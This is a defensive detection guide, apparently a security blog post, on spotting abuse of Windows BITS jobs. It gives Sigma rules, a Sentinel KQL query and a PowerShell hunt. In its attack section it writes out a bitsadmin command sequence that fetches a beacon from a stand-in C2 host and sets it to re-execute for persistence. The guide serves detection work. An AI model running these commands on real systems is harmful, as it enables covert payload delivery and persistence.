Detecting BITS Jobs Abuse for Persistence and Lateral Movement

Background Intelligent Transfer Service (BITS) has shipped with Windows since XP. It was designed to allow applications — primarily Windows Update — to transfer files asynchronously without saturating bandwidth. Because it runs as a Windows service, survives reboots, and operates over HTTP/HTTPS, adversaries have quietly repurposed it for payload delivery, persistence, and C2 staging for well over a decade.

The technique is catalogued as T1197 in MITRE ATT&CK and spans both the Persistence and Defense Evasion tactics. Despite being well documented, BITS abuse slips through many environments because the transfers appear legitimate on the wire and the jobs are often cleaned up after execution.

How Attackers Exploit BITS

The most common patterns fall into three categories:

1. Download cradle for payload staging
An attacker with code execution runs bitsadmin /transfer or PowerShell’s Start-BitsTransfer to pull a remote binary from an attacker-controlled URL. BITS handles the HTTP request on behalf of the BITS service account, and many proxy policies whitelist the traffic.

2. Persistence via notification commands
BITS jobs can be configured with a notification command that fires when the transfer completes. Adversaries set this to a path pointing at their dropped payload:

bitsadmin /create PersistJob
bitsadmin /addfile PersistJob https://c2.example.com/beacon.exe C:\ProgramData\beacon.exe
bitsadmin /SetNotifyCmdLine PersistJob C:\ProgramData\beacon.exe ""
bitsadmin /SetMinRetryDelay PersistJob 60
bitsadmin /resume PersistJob

The job re-downloads and re-executes the payload each time it is resumed, providing persistence that survives reboots as long as the BITS service runs.

3. Long-lived jobs for C2 keep-alive
Jobs with SetMinRetryDelay and no expiry act as a heartbeat — re-contacting the C2 server on a schedule that looks like normal software update traffic.

What Telemetry to Collect

Reliable detection requires at least one of the following:

• Sysmon Event ID 1 — process creation, capturing bitsadmin.exe command lines
• Microsoft-Windows-Bits-Client/Operational log (Event ID 59, 60, 61) — job creation, transfer start/complete
• Windows Security Event ID 4688 — process creation with command-line auditing enabled
• PowerShell Script Block Logging (Event ID 4104) — catches Start-BitsTransfer in scripts

Sysmon + PowerShell script block logging gives you the most signal with the least noise.

Sigma Detection Rules

Rule 1 — Suspicious bitsadmin Notification Command

This rule fires when bitsadmin is used to set a notification command pointing outside of known-good directories (Windows Update paths, SCCM, etc.).

title: BITS Job Notification Command Set to Suspicious Path
id: 7c3d9a1e-04f2-4b8c-a3e7-d2f891c06b45
status: experimental
description: >
  Detects bitsadmin.exe setting a notification command to a path outside
  known-good locations, a common persistence technique (T1197).
author: SOC Analyst Hub
date: 2026-05-26
references:
  - https://attack.mitre.org/techniques/T1197/
tags:
  - attack.persistence
  - attack.defense_evasion
  - attack.t1197
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\bitsadmin.exe'
    CommandLine|contains|all:
      - '/SetNotifyCmdLine'
  filter_legit_paths:
    CommandLine|contains:
      - 'C:\Windows\System32\'
      - 'C:\Windows\SysWOW64\'
      - 'C:\Program Files\Microsoft'
      - 'C:\Program Files (x86)\Microsoft'
      - 'C:\Windows\ccmcache\'
  condition: selection and not filter_legit_paths
falsepositives:
  - Third-party software update tools using BITS notification commands
  - Custom enterprise deployment scripts
level: high

Rule 2 — BITS Transfer from Non-Standard Parent

Legitimate BITS usage is typically initiated by trusted software. When bitsadmin.exe or PowerShell.exe invoking Start-BitsTransfer appears under an unusual parent, that warrants attention.

title: BITS Transfer Initiated from Suspicious Parent Process
id: a1f802bc-39d4-41cc-b60a-e7c3285aef91
status: experimental
description: >
  Detects BITS file transfers initiated from high-risk parent processes
  such as Office applications, script hosts, or browsers. Indicative of
  a download cradle abuse pattern (T1197).
author: SOC Analyst Hub
date: 2026-05-26
tags:
  - attack.defense_evasion
  - attack.persistence
  - attack.t1197
logsource:
  category: process_creation
  product: windows
detection:
  selection_bitsadmin:
    Image|endswith: '\bitsadmin.exe'
    CommandLine|contains:
      - '/transfer'
      - '/create'
  selection_ps_bits:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
    CommandLine|contains: 'Start-BitsTransfer'
  suspicious_parents:
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\outlook.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\cmd.exe'
      - '\rundll32.exe'
      - '\regsvr32.exe'
  condition: (selection_bitsadmin or selection_ps_bits) and suspicious_parents
falsepositives:
  - Unlikely in most environments
level: high

KQL Detection for Microsoft Sentinel

If you’re running Defender for Endpoint with Sentinel, the DeviceProcessEvents table gives you the same signal at scale.

// BITS abuse  --  notification command or transfer from suspicious parent
let SuspiciousParents = dynamic([
    "winword.exe","excel.exe","outlook.exe","mshta.exe",
    "wscript.exe","cscript.exe","rundll32.exe","regsvr32.exe"
]);
let LegitPaths = dynamic([
    @"C:\Windows\System32\",@"C:\Windows\SysWOW64\",
    @"C:\Program Files\Microsoft",@"C:\Windows\ccmcache\"
]);
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("bitsadmin.exe", "powershell.exe", "pwsh.exe")
| where (
    // bitsadmin notification command to non-standard path
    (FileName =~ "bitsadmin.exe"
        and ProcessCommandLine has "/SetNotifyCmdLine"
        and not (ProcessCommandLine has_any (LegitPaths)))
    or
    // any BITS activity from a risky parent
    (InitiatingProcessFileName has_any (SuspiciousParents)
        and (ProcessCommandLine has "/transfer"
            or ProcessCommandLine has "Start-BitsTransfer"))
)
| project Timestamp, DeviceName, AccountName, FileName,
          ProcessCommandLine, InitiatingProcessFileName,
          InitiatingProcessCommandLine
| sort by Timestamp desc

Set the lookback to 24 hours for real-time alerting; 7 days for a proactive hunt.

Hunting for Existing BITS Jobs

Running BITS jobs persist in a database at %ALLUSERSPROFILE%\Microsoft\Network\Downloader\. During an investigation, enumerate all current and completed jobs across your fleet:

# Run on a live host or via EDR remote script
Get-BitsTransfer -AllUsers | Select-Object DisplayName, JobState,
    FileList, NotifyCmdLine, CreationTime, TransferCompletionTime |
    Format-List

Look for jobs with non-empty NotifyCmdLine values pointing outside C:\Windows\ or C:\Program Files\, and jobs in a Suspended or Error state that keep retrying — they may be C2 keep-alive jobs waiting for their server to come back online.

Tuning Advice

BITS generates legitimate noise in environments using SCCM/MECM, Windows Update, or enterprise software distribution tools. Before shipping these rules to production:

1. Baseline the ParentImage values that trigger BITS in your environment over a 30-day window.
2. Add known-good parent paths to the filter list in Rule 1.
3. For the KQL query, join against your asset inventory to exclude managed software distribution servers as initiating hosts.

A weekly hunt using the PowerShell enumeration script run across EDR telemetry costs almost nothing and catches jobs that file-less detections miss entirely.

Coverage Summary

BITS abuse is not a new technique, but it remains underdetected in environments that rely solely on network-layer controls. Pairing process creation telemetry with periodic enumeration of active jobs gives you solid coverage with manageable false-positive rates.